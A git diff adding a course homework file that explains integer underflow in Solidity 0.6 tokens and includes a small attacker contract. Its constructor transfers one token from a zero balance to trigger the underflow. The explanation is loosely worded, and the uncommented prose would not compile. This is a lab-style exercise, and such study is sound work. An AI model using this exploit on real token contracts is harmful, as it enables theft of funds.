diff --git a/session-5-assignments/tokenHW b/session-5-assignments/tokenHW
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+// we are exploiting SafeMath for solidity 0.6. Underflows and overflows.
+In solidity 0.6 SafeMath was not enabled, which means we wil be able to perform underflows and overflows without a problem.
+
+ex: If we have a balance of zero and then we put in a value of lets say 1. (0 - 1) will underflow. 
+
+
+
+pragma solidity ^0.8.0;
+
+interface IToken {
+    function transfer(address to, uint256 value) external returns (bool);
+    function balanceOf(address) external view returns (uint256);
+    
+}
+
+contract tokenHack {
+    constructor(address _tokenContract) {
+        IToken(_tokenContract).transfer(msg.sender, 1);
+    }
+}